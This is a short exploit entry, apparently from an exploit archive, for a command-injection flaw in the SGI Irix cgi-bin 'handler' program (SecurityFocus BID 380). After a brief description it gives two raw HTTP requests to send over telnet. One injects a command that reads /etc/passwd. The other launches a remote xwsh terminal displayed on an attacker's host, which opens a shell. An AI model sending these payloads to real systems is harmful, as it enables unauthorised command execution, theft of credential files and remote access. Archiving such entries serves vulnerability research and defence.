13 lines
No EOL
645 B
Text
13 lines
No EOL
645 B
Text
source: http://www.securityfocus.com/bid/380/info
|
|
|
|
A vulnerability exists in the cgi-bin program 'handler', as included by Silicon Graphics in their Irix operating system. This vulnerability will allow a remote attacker to execute arbitrary commands on the vulnerable host as the user the web server is running as. This can easily result in a user being able to access the system.
|
|
|
|
telnet target.machine.com 80
|
|
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0
|
|
|
|
or:
|
|
|
|
telnet target.machine.com 80
|
|
GET /cgi-bin/handler/blah;/usr/sbin/xwsh -display yourhost.com|?data=Download
|
|
|
|
NOTE: large spaces are actually tabs. |